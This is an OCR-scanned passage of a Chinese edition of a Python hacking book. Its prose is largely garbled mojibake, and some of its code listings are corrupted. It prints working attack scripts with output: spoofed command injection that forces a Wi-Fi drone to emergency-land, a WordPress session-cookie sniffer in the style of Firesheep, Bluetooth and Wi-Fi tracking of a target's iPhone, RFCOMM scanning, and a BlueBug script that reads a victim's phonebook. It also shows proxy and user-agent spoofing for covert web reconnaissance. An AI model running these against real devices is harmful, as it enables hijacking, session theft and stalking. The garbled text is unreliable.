EREEREHTATNN—EREIES. BEFHTATUSIES EMAT=R
£ ATHITRAN RS | BAMSERARFFISHEBE 100, BTk, i1k
1EAp < AT*COMWDG=$SEQ\r , XM SEEBIIFIIS | TATUGRIES T
AIRYRRar < (LLaNBRLAR &i%RY iPhone R7RIAES). &a  FATRERNINE
2uBpEas<S AT*REF=$SEQ, 290717952\r,

EMER = "290717952"
def emergencyland(self):
spoofSeq = self.seq + 100
watch = 'AT*COMWDG=%i\r'%spoofSeq
toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, EMER)
self.injectCmd(watch)
self.injectCmd(toCmd)

BB , ERUBET AN

BRSNS TRENEE. Bt BIRRRTFENIAIAE

REMAFSA dup.py , BT, BAIREFIIAEEIRE , Fiai=gmlnin
ERATN , FHRETRBAIREZZEMEES. A2 70 7RIS | FIEXEAK
DIRIF=EEITAN , FIRT | REIBAIRENERRR. 1%, BlE

BEEMICUMARBIENE LM LRGN,

threading
dup
scapy.all

conf.iface = 'mon0’
NAVPORT =

LAND ="'290717696'
EMER ="290717952'
TAKEOFF ='290718208'

interceptThread(threading. Thread):

(self):
threading. Thread. (self)




.curPkt =
.seq =
foundUAYV =
run(self):
sniff(prn=self.interceptPkt ='udp port 5556")
interceptPkt( pkt):
foundUAV == ;
('[*] UAV Found.")
foundUAYV =
.curPkt = pkt
raw = pkt.sprintf('%oRaw.load%")

.seq = int(raw.split(',")[0].split('=")[-1])

.seq =
EMER = "290717952"
emergencyland(sclf):

spoofSeq = self.seq +

watch = 'AT*COMWDG=%:1\r'%spoofSeq

toCmd = 'AT*REF=%1,%s\r'% (spoofSeq + 1, EMER)
.InjectCmd(watch)
.1njectCmd(toCmd)

injectCmd( cmd):
radio = dup.dupRadio(self.curPkt)
dotl1 = dup.dupDotl 1(self.curPkt)
snap = dup.dupSNAP(self.curPkt)
llc = dup.dupLLC(self.curPkt)
1ip = dup.duplP(self.curPkt)
udp = dup.dupUDP(self.curPkt)
raw = Raw(load=cmd)
injectPkt = radio / dotl1 /llc / snap / ip / udp / raw
sendp(injectPkt)
takeoff(sclf):
spoofSeq = self.seq +
watch = "AT*COMWDG=%:1\r'%spoofSeq
toCmd = 'AT*REF=%1,%s\r'% (spoofSeq + 1, TAKEOFF)
.InjectCmd(watch)
.njectCmd(toCmd)




main():
uavintercept = interceptThread()
uavintercept.start()
('[*] Listening for UAV Traffic. Please WAIT...")
uavintercept.foundUAV == :

= ('[-] Press ENTER to Emergency Land UAV.")
uavintercept.emergencyland()

__name _==' main_ "
main()

&1 Firesheep

2010 5 , Eric Butler FF&Z 7 — 1 BZEX AN TR |, Firesheep, XM TEIR
H T EBRAR MR O BRI INAAIIBE A FRY Facebook , Google ,
Twitter ZFtt32Muh ERIMKF. Eric BY Firesheep TR T15EubmAI HTTP
Cookies #aIHIETC LM< LR, SNR— AP ERRIAZEIMNIEEIRE
(FRMHIIRSS 240 HTTPS SR{RIFMtEAISIE | BRAIREEBEFEH

Firesheep $=#; cookies F#%EEFH.

Eric 12t 7 —/NEBRAY R E AR AN ISR R AR cookie SRIEIRER. i
=, THEAIXS WordPress BISMEEE =%, &5t matchPacket)BITEE
IEMZRIAZL wordpress_[0-9a-fA-F1{32}3&HfIA cookie , aNREREIILAECE] T G
FIXR, , HBA processPacket()#EX WordPress [y sessionID cookie , Ffg
identifyUser() ERERITEFEE) WordPress IR , EBE(FRIXSERERE
FHFRY WordPress,

// Authors:
/ /| Eric Butler <eric@codebutler.com>
register({
name: 'Wordpress',
matchPacket: function (packet) {
for (varcookieName in packet.cookies) {

if (cookieName.matchO {



return true;

h
Hr

processPacket: function () {
this.siteUrl += 'wp-admin/’;
for (varcookieName in this.firstPacket.cookies) {
if (cookieName.match(/*wordpress_[0-9a-fA-F]{32}$/)) {
this.sessionld = this.firstPacket.cookies[cookieName];

break;

h

3
identifyUser: function () {

var resp = this.httpGet(this.siteUrl);

this.userName = resp.body.querySelectorAll('#user_info
a')[0].textContent;

this.siteName = '"Wordpress (' + this.firstPacket.host + ')';

}
)i

IPfZ WordPress [y Session Cookie

E—ERREUEE S |, XL cookie BEERIG TEIFY: , XBRNSEEIZT
Safari J|'%3281%42 WordPress £ www.violentpython.org, ¥& , =LA
wordpress_e3b FHAE S T SEHR sessionID cookie FIFEF %,

GET /wordpress/wp-admin/HTTP/1.1



Host: www.violentpython.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2)

AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2
Safari/534.52.7

Accept: */*

Referer: http://www.violentpython.org/wordpress/wp-admin/
Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie:
wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323
803979

%7C889eb4e57a3d68265f26b166020f161b;
wordpress_logged_in_e3bd8b33fb645

122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa64
9f771587fd128ef

4f57;
wordpress_test_cookie=WP+Cookie+check

Connection: keep-alive

TETREF , —NGEETEXIM LIE1T Firesheep TR |, IRBIHERNFTEA
ERIRINZRIFTELME £, AR FREMERYEIEEEE
www.violentpython.og £, ¥& , HTTP GET iERFIBIEkAiBEK—+E . B
[E#FHY cookie , (BRREARERINIERE. BAMARBAXE , BRESIR
HRIEXEEARERT IP bl , WEERENZEEEREBERITRS.

GET /wordpress/wp-admin/ HTTP/1.1

Host: www.violentpython.org

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US;
rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24

Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5



Accept-Encoding: gzip,deflate

Accept-Charset: 1S0O-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115

Connection: keep-alive

Cookie:
wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323
803979

%07C889eb4e57a3d68265f26b166020f161b;
wordpress_logged_in_e3bd8b33fb645

122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa64
9f771587fd128ef4f57; wordpress_test_cookie=WP+Cookie+check

EELEFB¥---}3K WordPress cookie EEFH

LR RB—MPUERY Python BIZASEREAT WordPress 2 session cookie
HTTP 2iF. EAXMKGEAEERINENSIE , iV LIEEE TCP /Y 80 in
ORI HTTP Y. HIEAIERENZFRIATCILES WordPress cookie , FAIJTRTLAFT
EN cookie RFEIFER L , BMNRBEIEZFHRE | KiIFNEFIEMEEIRBEE
FPRIEE=RFER"set"fY cookie,

import re

from scapy.all import *

def fireCatcher(pkt):
raw = pkt.sprintf('%cRaw.load%")
r = re.findall('wordpress_[0-9a-fA-F]{32}', raw)
if r and 'Set’ not in raw:

print(pkt.getlayer(IP).src+ ">"+pkt.getlayer(IP).dst+"
Cookie:"+r[0])

conf.iface = "mon0"

sniff(filter="tcp port 80", prn=fireCatcher)



BITXMHA , BAMRRIRE—EBERIREF BT R INERI TS M EEZ A
PVERY HTTP 2iE1ERER WordPress _t., HFRFTEDRFERISTE cookie EIFRE
T, RAEERIREE 192.168.1.4 BT RE 192.168.1.3 FIFEEN
sessionID cookie,

defender# python fireCatcher.py
192.168.1.3>173.255.226.98

Cookie:wordpress_ e3bd8b33fb645122b50046ecbfbeef97
192.168.1.3>173.255.226.98
Cookie:wordpress_e3bd8b33fb645122b50046ecbfbeef97
192.168.1.4>173.255.226.98

N T NIEE A Firesheep , BNUAEERE— M REEETARRIIP £
ESFH cookie (B, At , B ESFATRIRIEAR, AERNETRZI—
Hash Zj&@1d sessionID Z& 35| cookie, WIRFKA(IEZEI— WordPress &1 , Fdi]
A LUSHEREAZ! Hash F=FF774% IP ithtik, WNRBFTATEF—RER , F(TTLAER
e ERMEREF Hash FREPSR, SFAeUR Pt , BIMEBHERRY
cookie XEX T AMBEREAY IP ftbiit, EIX—m L, FAITLASEF A EEE
WorPress NRIEFTTENERE L.

__author__ ='dj'
optparse
scapy.all
re

cookieTable = {}

fireCatcher(pkt):
raw = pkt.sprintf('%oRaw.load%'")
r = re.findall("'wordpress [0-9a-fA-F]{32}', raw)




'Set' raw:
1[0] cookieTable.keys():
cookieTable[r[0]] = pkt.getlayer(IP).src
('[+] Detected and indexed cookie.")
cookieTable[r[0]] != pkt.getlayer(IP).src:
('[*] Detected Conflict for ' + r[0])
('"Victim ="'+ cookieTable[r[0]])
('Attacker ="' + pkt.getlayer(IP).src)

main():
parser = optparse.OptionParser("usage %prog -i<interface>")
parser.add_option('-1' ='interface’' ='string’ ='specify
interface to listen on')

(options, args) = parser.parse_args()
options.interface == ;
parser.usage

(0)

conf.iface = options.interface
sniff( ='tcp port 80" =fireCatcher)

(0)

' !

__name _==' main_ "

main()

ETEANINEA , FOITLERA—NERREZEER WordPress sessionID
cookie NEBETFAEEHENEANSE, EX—R EHRIIEEERETH
Python IR#R 802.11 FUFTEMLE, 1EEAIIE F—TIRm~a{aJ A Python 1A
RE.

defender# python fireCatcher.py

[+] Detected and indexed cookie.

[*] Detected Conflict for:

wordpress_ e3bd8b33fb645122b50046ecbfbeef97



Victim = 192.168.1.3
Attacker = 192.168.1.4

FASEZ#0 Python [REREA

HRERNARBIIRZ—IRERES. —/\EjCEERE’JEﬁWFF%IME’JAﬂE
HAIAERMARINEIFEERH. RIARERNARESEES N |,
NP RRFFEEAR R A ERMRIFRITTIE.

ATHEFE , HIERZ PyBluez iR, XAMEHY T Bluez FER{HHY
FMAETRRNINEE. TR, SARNNEBETES , BAITLIERAF BREL
discover_devnceS()EEJ_IEIBﬁﬁiﬂﬁ’]W%u%ﬁ’] MAC HEtEEeE, #FETk , &
AT LAEE MAC HEHE AR IFIF R ERIRERIEIY lookup_name()REl. &EH
1BEFTEMX LI EEIR S,

from bluetooth import *
devlList = discover_devices()
for device in devList:
name = str(lookup_name(device))
print("[+] Found Bluetooth Device " + str(name))

print("[+] MAC address: "+str(device))

IEBARERIRT. Ol , BRI IS ERADES A0 REN findDevs , FFTENF
MERMAIFIRE. HATTLA—ME alreadyFound SRIRFELRIMANRE |
MNTFENERRRER(ISEERSEEFESHE . NRAFERIGHT



EMRE R U FRINZEIEE S |, ERAINEZERMEF |, FTTLBIE—D
FoBREFIE1T findDevs()SASSRERR 5 0,

import time

from bluetooth import *

alreadyFound =[]

def findDevs():
foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if addr not in alreadyFound:
print(‘'[*] Found Bluetooth Device: ' + str(name))
print('[+] MAC address: ' + str(addr))
alreadyFound.append(addr)

while True:
findDevs()
time.sleep(5)

MERI IS THRNNHAEER SRR AINETRS. TR, HiIKR
BT —FIEDHAI—A iPhone, FTENEIH B IFRIRFRHERE MAC Hbilk,

attacker# python btScan.py

[-] Scanning for Bluetooth Devices.

[*] Found Bluetooth Device: Photosmart 8000 series
[+] MAC address: 00:16:38:DE:AD:11

[-] Scanning for Bluetooth Devices.



[-] Scanning for Bluetooth Devices.
[*] Found Bluetooth Device: T]J iPhone
[+] MAC address: D0:23:DB:DE:AD:02

HATT LA —Ma R R R SRR EE A IIX EAF ERIR B ERA I, 15E=
A WSEEERARI RIS R EUEINS 2] tgtName , FERBAIRIAIG IR ADUFTE
2.

import time

from bluetooth import *
alreadyFound =[]

def findDevs():
foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if addr not in alreadyFound:
print(‘'[*] Found Bluetooth Device: ' + str(name))
print('[+] MAC address: ' + str(addr))
alreadyFound.append(addr)

while True:
findDevs()

time.sleep(5)

AX—RLE , I ECENTERER] , B—MFEgs |, kel
iPhone , H3E7T .



attacker# python btFind.py

[-] Scanning for Bluetooth Device: T] iPhone
[*] Found Target Device TJ iPhone

[+] Time is: 2012-06-24 18:05:49.560055
[+] With MAC Address: D0:23:DB:DE:AD:02
[+] Time is: 2012-06-24 18:06:05.829156

=E T i SRR it

M, XRRBR T —IREAE , Bl I ERBEAIIREN T WNEAIRE.
—MERRETREHRITEAKRNE ? iLE(1EB—TEEREHEIUT iPhone 155
IREBAIHORIE, 0 1 2 802.11 FEEIREEHY MAC HBIESKERIA iPhone RUIRFIRES

B9 MAC tthiit, 1E9 802.11 LR EHE SRS IKBESE —EEHIRIP MAC ith
it , BT AERNIRIREHERXLERITERIIEFIRERT MAC Bk,
BN ERNTLLIEE MAC HEEIRIRES. FRFIINTIE MAC It REE
MAC )\ "M FHRIBI=NF 1. BIZNFHEABRE—TRRFF(OUI) , triR%s
EHYEERS , {REILATE http://standards.ieee.org/cgi-bin/ouisearch fuLiH—==
PRI OUI #dERE. EbamisiFefiJfsEA OUI d0:23:db(iPhone 4S By OUI) , N8R
1R OUL BUERE | (REEFIAIZIZEET iPhone,

D0-23-DB (hex) Apple, Inc.

D023DB (base 16) Apple, Inc.
1 Infinite Loop
Cupertino CA 95014
UNITED STATES

FA1JRY Python BIZASHS T 802.11 ZUEMIPLES iPhone 4S BY MAC itBIEEIRI =N+
. WMERGNE , B TENERERES LHFE 802.11 By MAC it

from scapy.all import *



def wifiPrint(pkt):
iPhone_OUI = 'd0:23:db’
if pkt.haslayer(Dot11):
wifiMAC = pkt.getlayer(Dotl1).addr2
if iPhone_OUI == wifiMAC[:8]:
print(‘'[*] Detected iPhone MAC: ' + wifiMAC)
conf.iface = 'mon0'

sniff(prn=wifiPrint)

IERAICELMIAT iPhone £ 802.11 &880 MAC Hutlt , BRI EE/MGRTS
BT, BATTLATEIESF MAC HEhbEid 802.11 Fo&kitibnn 1,

def retBtAddr(addr):
btAddr=str(hex(int(addr.replace(':’, "), 16) + 1))[2:]

btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" +
btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]

return btAddr

BT MACitellt , EEHMALMI TR EIX MREEEELNFE. Aind
EREIER T | BFREEANBFEABMN., MNREFREML , a7
PAFTEDREEM MAC ittt FRE E. B—RBEEEE | iPhone iIREXRANE
BIRT , BT AL s E R (FRNEREA S, R , = iPhone fg EEA
HAEFHRIENEREER TERSMNIESEEEN. WNRIFRMERT |, A
(I FEABEERBTIERT , iUEIBIRAY iPhone FIEMIR BEIETE—IE.

def checkBluetooth(btAddr):
btName = lookup_name(btAddr)
if btName:
print('[+] Detected Bluetooth Device: ' + btName)



else:

print('[-] Failed to Detect Bluetooth Device.')

SHEANERTBRINIEE—ERT | Fe(188E70IR3! iPhone IR BRRAVES .

scapy.all
bluetooth

retBtAddr(addr):
btAddr=str(hex(int(addr.replace(':', "), 16) + 1))[2:]
btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" +
btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]
btAddr

checkBluetooth(btAddr):
btName = lookup name(btAddr)
btName:
('[+] Detected Bluetooth Device: ' + btName)

('[-] Failed to Detect Bluetooth Device.')

wifiPrint(pkt):
iPhone OUI ='d0:23:db'
pkt.haslayer(Dot11):
wifiMAC = pkt.getlayer(Dot11).addr2
iPhone OUI == wifiMAC][:8]:
('[*] Detected iPhone MAC: ' + wifiMAC)
btAddr = retBtAddr(wifiMAC)
('[] Testing Bluetooth MAC: ' + btAddr)
checkBluetooth(btAddr)

conf.iface = 'mon0'
sniff(prn=wifiPrint)




HRANISITERAIBEART |, BATTLER , BiIRBIT— iPhone 9 802.11 5
SR RA MAC HBtlE, FMENTLIRE. EF—1 9, BITEBEEERINZERE
B, BT EME X B EImEO.

attacker# python find-my-iphone.py
[*] Detected iPhone MAC: d0:23:db:de:ad:01
[+] Testing Bluetooth MAC: d0:23:db:de:ad:02

[+] Detected Bluetooth Device: TJ' s iPhone

IS A9 RFCOMM (58

2004 & , Herfurt #1 Laurie B 7 —NEZRmIE | {11689 BlueBug, XNE
TSI TEF A9 RFCOMM &MY, RFCOMM J@IZTE A H L2CAP HimSEHL
RS232 BO@Ef.. ARL , XEEEE—NEFEZE—MEE | &l— 8
RIERITERAR , RITRRFAREIEFI , RIXREE | FIEBTRYIREERIER
HBIS IS EEEI TR,

RFCOMM $R{HEIFRINNZERAIEE ). FIERR/R PRSI IR I RIS
Z2tiges. Herfurt F Laurie 5 7 — N L EEREZEIRANENIESEERIE
i SIEHEHE THRF LHNE. EXHH , HiTERE— MIESTHAKRIA
IEAYHY RFCOMM (SiE,

EE ~EAVLEE , RFCOMM iEEfNNER TCP EfRFiEZFERMEML. R TE
£25— RFCOMM im0 , FA 1G4 — RFCOMM FERINIEFERF., & T
SkFA BT connect()ERiEL , B& BIRZERY MAC itBitFlim 89— cd. W
REAIBINT , FfJSE0E RFRCOMM (SIEFFFFEE ST, IRFEMES
B, BB RESEZEEXNRO |, BIGESEE 30 MNaTaEm
RFCOMM i I &S .

from bluetooth import *



def rfcommCon(addr, port):
sock = BluetoothSocket(RFCOMM)
try:
sock.connect((addr, port))
print('[+] RFCOMM Port ' + str(port) + ' open')
sock.close()
except Exception as e:

print(‘[-] RFCOMM Port ' + str(port) + ' closed')

for port in range(1, 30):
rfcommCon('00:16:38:DE:AD:11', port)

SHEANSITRAIBATTRIMHERIFTEIN, , FAIBZIFF T B4 RFCOMM i,
M, BANRBEIE T X EmORM TR ARS. BT THRESITIXE
RS | B IR EEART RS RKINIEE.

attacker# python rfcommScan.py
[+] RFCOMM Port 1 open

[+] RFCOMM Port 2 open

[+] RFCOMM Port 3 open

[+] RFCOMM Port 4 open

[+] RFCOMM Port 5 open

[-] RFCOMM Port 6 closed

[-] RFCOMM Port 7 closed
<..SNIPPED...>

(EREF IRSSARIRIMNY



WS RS RN (SDP R 7 —Fh{ BT AR SR AT I B IR SRR AV A
THEEFNBRSS. WS SDP SUHEAR T RS ES—ME— BRI M Flim O _E
=17, ERREY find_service()IRE] T —MCREAE , XLIEREEFEN , B,
R, AR, Y, wE, BRSR | MBI BT 8 o ARSH
ID , MEAIRIBIME | HBNOHARITENRSBIR , thiFlimOS.

from bluetooth import *

def sdpBrowse(addr):
services = find_service(address=addr)
for service in services:
name = service['name’]
proto = service['protocol’]
port = str(service['port'])

print(‘[+] Found ' + str(name)+' on '+ str(proto) + ":'+port)

sdpBrowse('00:16:38:DE:AD:11")

SEADSITEA IR ARETRIFAIROFTEDIEESF | Fe{1EE RFCOMM im[ 2 24
OBEX JISHEXINRE, XS AHRIRSS(OBEX)ILEATE XS FTP BEZEFHAIAY
Be] , BANTTLAERBR EEMTEXENRRETR |, XOIEe2FTEN BB
— L RRAYIRA,

attacker# python sdpScan.py

[+] Found Serial Port on RFCOMM:1

[+] Found OBEX Object Push on RFCOMM:2

[+] Found Basic Imaging on RFCOMM:3

[+] Found Basic Printing on RFCOMM:4

[+] Found Hardcopy Cable Replacement on L2CAP:8193



Ed Python ObexFTP IEETEDHN

IEBA IR ERITFTE LTI EAETE RFCOMM RYuR[ 2 _EfRHET OBEX AR
5 BIEA#EE—MRA EX, FAIER obexftp EEEFTEDN, , #EFA)
MBEENET ERE—MEREE. S3HERAT , BAIFTENF R
HIBTENER. XASANET | EF—CRBRA , FIURIIEREIET—
TP ARX A AR IR A RO FH L L B R as A I .
import obexftp
try:
btPrinter = obexftp.client(obexftp.BLUETOOTH)
btPrinter.connect('00:16:38:DE:AD:11', 2)
btPrinter.put_file('/tmp/ninja.jpg')
print(‘'[+] Printed Ninja Image.')
except:

print('[-] Failed to print Ninja Image.")
F Python BlueBug F#l

AT, BIIBER N RERNFNEFTHEMEE. &YIMIR BlueBug I¥
& ERGEERRAER AR 2 AEEF IR EFIAF AR E R & EER
FHREIES, RPNIKEER RFCOMM [FBERIX AT e S FAITEEHIREhHY
TH. ERNrREEEEERE  WETAGERHEKITSE.

fBltn , IEE AT LS — NEETT 6310i @1d RFCOMM 14 17 (518, ELENIX
XFHNAIESMRA , RFCOMM {518 17 AEESHIIEERERE | WEETTIL
BERAYFAE RFCOMM FIHAYEERIL 17 (B8 | iERFHBEARIX AT @pS T EH
ER=

1EFAIIF Python SREIXRIKE. BH—IR , BIFESA Python B9

BluezAPI 181, FIAFA(IAYEintiFNES58Y RFCOMM w2 /5 , Bl
—NEIFFR , REWIE , RINEANERE. ERXMHOIERNERE , Bi1RX—
M, FIANAT+CPBR=1" R FEBARIE—NSHE , EERGSHNEED
FIEHR.



import bluetooth

tgtPhone = 'AA:BB:CC:DD:EE:FF'
port = 17
phoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
phoneSock.connect((tgtPhone, port))
for contact in range(1, 5):
atCmd = 'AT+CPBR='" + str(contact) + '\n'
phoneSock.send(atCmd)
result = phoneSock.recv(1024)
print '[+] ' + str(contact) + ': ' + result

phoneSock.close()

FXIBESSHOFAUSITRAINIIAE , BT LUNZZEFN L TERDTEKRARN
FEIESHE. AEAHTRRE , BT EBEF ITE BB REE ST,
R T !

attacker# python bluebug.py

[+] 1: +CPBR: 1,"555-1234",,"Joe Senz"

[+] 2: +CPBR: 2,"555-9999",,"Jason Brown"

[+] 3: +CPBR: 3,"555-7337",,"Glen Godwin"

[+] 4: +CPBR: 4,"555-1111",,"Semion Mogilevich"
[+] 5: +CPBR: 5,"555-8080",,"Robert Fisher



HRER ! EX—FHNELRE TRSITE , HATLIRE(I IR LML
MBS IRE. BAIMNBETEMBEIRFANGSEITR. BTk, BT
27 802.11 BERE , AT RMEERBIIREINEAR. AT HE28
T —PERANAEL TP TERBITEMNEEETH, YTHRFMN , T
MBS T — N TEREREF RS , AfEHSENE 7 HEMWAIFL.

BRBFERX—F, HERREXLE. T—F , BANSHSEFRAIMNSE L
f4K_E A Python B TiE.

56 6 = : WEB {ii&s

AERS :

1.{#F Mechanize EZ IS EHEAR

2.Python (& Beautiful Soup B&} WEB jt=
3.{§ Python 5 Google 325

4.fE[ Python ] Twitter TH

5.851598



FEREGR/\+LEFEF |, FFEREERE TRARGRIES. BHAKBATK TA
HBEFIFEX—(0EE,

—Bernard M. Baruch ZE[E5 28 F&E 32 (£
SRRIBRIA]

| . SKRPHETER

2010 F , FINAHURRIRIRINEIEE T HeAl RS MLtk rOIEAE,  SemiF(i SRy
EIeERItiTa. ERUTIIRGS | BET S NERERIRT | R, =i

#X5¢ , Adobe FHAE—LE Google K. SLEEIRBRIRIKEX E— MHIBELH
IR, Stuxnet , S5RINGE | £33 SCADA R%t , 45512 APLTEFRRARY.
PIRLEIFENIZ R TZIFRIAR | XE— MRS TaE NS eH AR R

HE, REXATMNSKEIFESS , Bt — P HRERIXERS © b8

&g , EVEPEEIHSTEAEREN. FESASFRITIEERINSBIE

IBIMERRIH S TIEFSBINKERNEE. £ FTENET S, BiIEHRA

{al{sEFAER Python SRECEIERILAIHT S TIEF IR,

EH AR, WEENMZE BRFEER | (SRS IERIRIIRY
MR, WSEHFZEERHFROER, EX PSS , KEBDFRHE
RUESE A LIEEEAR E#0E] , BT EEMEARINIER | EREREEAYTEE

RE. ATBILERESR  tHETEFRTLIB5HRE MNIE. Python 2—1
RFAIHRITEIMUESHITER | RERNSE=SERRVERIIFIEERR] , M

IhHITRRE.

WEZ BN E

EAREF , HNBEIEFS B TNE. EX R EXERRRRER
ZHERE  MAERERENRS B THILNERMHIMESEERER N, &5
A NS BEENEI LSRRI ANEEERI MR S TIEF I E.
BRENBEAIXERAZEIR THEE RILEERNER. BAEXRETRE
SAAER TR ES T B IR R EA IR E 2 E R JRO A E P an e
P EiX I .



{5/ Mechanize EENIESEEAN

ERIAGTHEH AP WEB XIMS eSS Mt ISi BN, S—NhmEER
B, ATLABRE R SRR SFEHNES. Am  NEEsstiz L
NN MNAEERI | BRE |, REBMHEREEF |, HuF—

Python F2FHUIES{4F0 Python fRFEESVE R, FIF B LAERNISEES GRS
B FAREARER NS IAERARS. Linux TR wget IR EMESZIIN
B975i%. 1 Python &, NISSEEXMAIMEE—IRE 2B EIH T E—NMihEY

HTML J&EE. BIFZSAENESEEEM 7AE WEB ABAIES. Bl
BUEIK Mechanize , {RIERI/LES&LMIE. Mechanize :
http://wwwsearch.sourceforge.net/mechanize/,

Mechanize FE[928 Browser , SR LATER GRS 2 EHITAURIE. X
KX EEMINERNG ERERTEEEER, NHEMAER T Mechanize RE
ABYER B E—PMNARARE, XEECE—NNESENSR |, AR EH
open()E&iZL,

import mechanize

def viewPage(url):
browser = mechanize.Browser()
page = browser.open(url)
source_code = page.read()
print(source_code)

viewPage('http://www.syngress.com/")

EITIXNHA |, FIEZIEFTEDE www.syngress.com B TIHY HTML {XAE,

recon:~# python viewPage.py

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
Transitional/ /EN"



"http://www.w3.0org/TR/xhtmll1/DTD/xhtml1-transitional.dtd">
<html xmins="http://www.w3.0rg/1999/xhtml">
<head>

<title>

Syngress.com - Syngress is a premier publisher of content in
the Information Security field. We cover Digital Forensics, Hacking

and Penetration Testing, Certification, IT Security and
Administration, and

more.
</title>

<meta name="description" content="" /><meta
name="keywords"

content="" />

<..SNIPPED..>

A 1455 mechanize.Browser SERIGEMIA , EAEFRSEERM, ER(R
AZERILUER |, Python 21T JINARBG AN, XEER Mechanize B
TR TH57RA0T0EE. John J. Lee ikitHY Mechanize IRHEIASIRIZE , fEE
B9 HTML RASFO5EROBRITFOLCIE |, B0 HTTP-Equiv IXFERISFIRIFET. L
G, ERHLGFIATENREERZN. X—JE<E FTHIESHREZ,

E---18iCE , BPCE#N Cookies

MEFRATENEERRBRENNTIASIIEE ] | B—S BB T RIINIEREB Y E,
BN FAEN RSP — IS RBEHARRE |, Bt , FIIROZRENE

NS BAEEENNSMIREER. MibEHRE—RRASRIRBIM TS

BIVMARNGE. F—MAEEARBTICRIERE IP RKFARR. XALUBEE
(FERRIAE ML (VPN)EE tor MEREM. —B— "2 &EREEI VPN, 245 ,
FrBRYEET VPN B54bE, Python ATLUEREZIRIEIRSS RS | (AIERFRINES
Ihge. Mechanize BY Browser ZKAJLUEE— MUEIRS B, HRAVIKEN

REAEEABISWHN. BRESMNRZENNENE  FILABFELI#RIERE

i1, BEENTIEENE. EXAMIFH , B



http://www.hidemyass.com/f9 HTTP {38, E{REZIXEBAIEXMCEBRE
AJBEEEATIE Y. FTLARXANMULEZEERARR HTTP CIERAVHET5. Lot ,
McCurdy 4R T — MEFAIRIRT IR MY
http://rmccurdy.com/scripts/proxy/good.txt, Ffi HEFIHFA M CERIIR)
NOAA Wit , EERIFHIEIRIRIIIANZMuSET(REY IP Httit,

import mechanize

def testProxy(url, proxy):
browser = mechanize.Browser()
browser.set_proxies(proxy)
page = browser.open(url)
source_code = page.read()

print source_code

url = 'http://ip.nefsc.noaa.gov/'
hideMeProxy = {'http': '216.155.139.115:3128"}
testProxy(url, hideMeProxy)

2ARF HTMLIERIEE—REME | FIERNZMuE ASIF(IRTY IP it
216.155.139.115 , FAIAUKER |, piTh | oA AR,

recon:~# python proxyTest.py
<html><head><title>What's My IP Address?</title></head>
<..SNIPPED..>

<b>Your IP address is...</b></font><br><font size=+2
face=arial

color=red> 216.155.139.115</font><br><br><br><center>
<font size=+2face=arial color=white> <b>Your hostname appears
to be...</b></



font><br><font size=+2 face=arial color=red> 216.155.139.115.
choopa.net</font></font><font color=white

<..SNIPPED..>

HAMEE— N ERNERZNNES. WhmERNIPEEEHY user-agent FFRFERRIR
AE—RFRB—MEE., EEEERF , user-agent FRFERTLERJubAIE R TN
RERNEEEEREHIE HTML ARBSSBREFIAK. A , XEEERES
RS |, NUSSEEhRAS |, FIEM X TFRAFRIFERER. RN AXEER
FIXHEFERINISE S TRENSEF A | MEMEMNILFAXLEERX BN
M5 NAT WERZFABME., &, — " HEWIEY , — M iRiiERLEF
user-agent ZFRFERSRAGN MacBook FAFFHEME B SRR,

1Y | Mechanize ${3F user-agent FRFERFIBZEAE—HFEE, Wuf
http://www.useragentstring.com/pages/useragentstring.php AFAIER 7 —
MNERIIBRIRY user-agent FRFEBEZ BMIRANERE. BIMERE— AN
IHBEZEFA IR user-agent FRFERIIE]
http://whatismyuseragent.dotdoh.com/3&FTERH A IHY user-agent =47,

import mechanize

def testUserAgent(url, userAgent):
browser = mechanize.Browser()
browser.addheaders = userAgent
page = browser.open(url)
source_code = page.read()

print(source_code)

url = 'http:/ /whatismyuseragent.dotdoh.com/'

userAgent = [('User-agent’','Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586;
en-US; m18) Gecko/20010131 Netscape6/6.01')]

testUserAgent(url, userAgent)



BITIXMHA , BAIBERFATTLARBREIRAY user-agent FRFERIA)TAE.

recon:~# python userAgentTest.py
<htmi>
<head>
<title>Browser UserAgent Test</title>
<style type="text/css">
<..SNIPPED..>

<p><a href="http://www.dotdoh.com" target="_blank"><img
src="logo.

gif" alt="Logo" width="646" height="111"
border="0"></a></p>

<p><h4>Your browser's UserAgent string is: <span

class="stylel"><em>Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-
us;

m18) Gecko/20010131 Netscape6/6.01</em></span></h4>
</p>
<..SNIPPED..>

&a . MitSIRE—LE SIHFIRIRATY cookie 45 WEB X8 AT MIAIREIE
SNESINE. ATHLIEX—R , BIMGHRITEDEREMNT(I8Y WEB XUtz
il cookie, 535" Python #RfEFE cookielib .4 /L MMER A
cookie K88, IXERHFAHT cookie AL AMEFERIRREIN cookie ZIRERAY
1IRE. XAIIRESIFRIFER cookies MALEIRHRIREIERIE, 1EBA]
R —MEERAIANEER Cookiedar SRR, FAGHTF
http://www.syngress.com TREHFAZAIRE—MIF. (BIERAIFTENRLE
SIAFHERY cookie,

import mechanize



import cookielib

def printCookies(url):
browser = mechanize.Browser()
cookie_jar = cookielib.LWPCookielar()
browser.set_cookiejar(cookie_jar)
page = browser.open(url)
for cookie in cookie_jar:

print(cookie)

url = 'http://www.syngress.com/'

printCookies(url)

BITIXNHAR |, BATTLAERIREMubAY session id BY cookie,
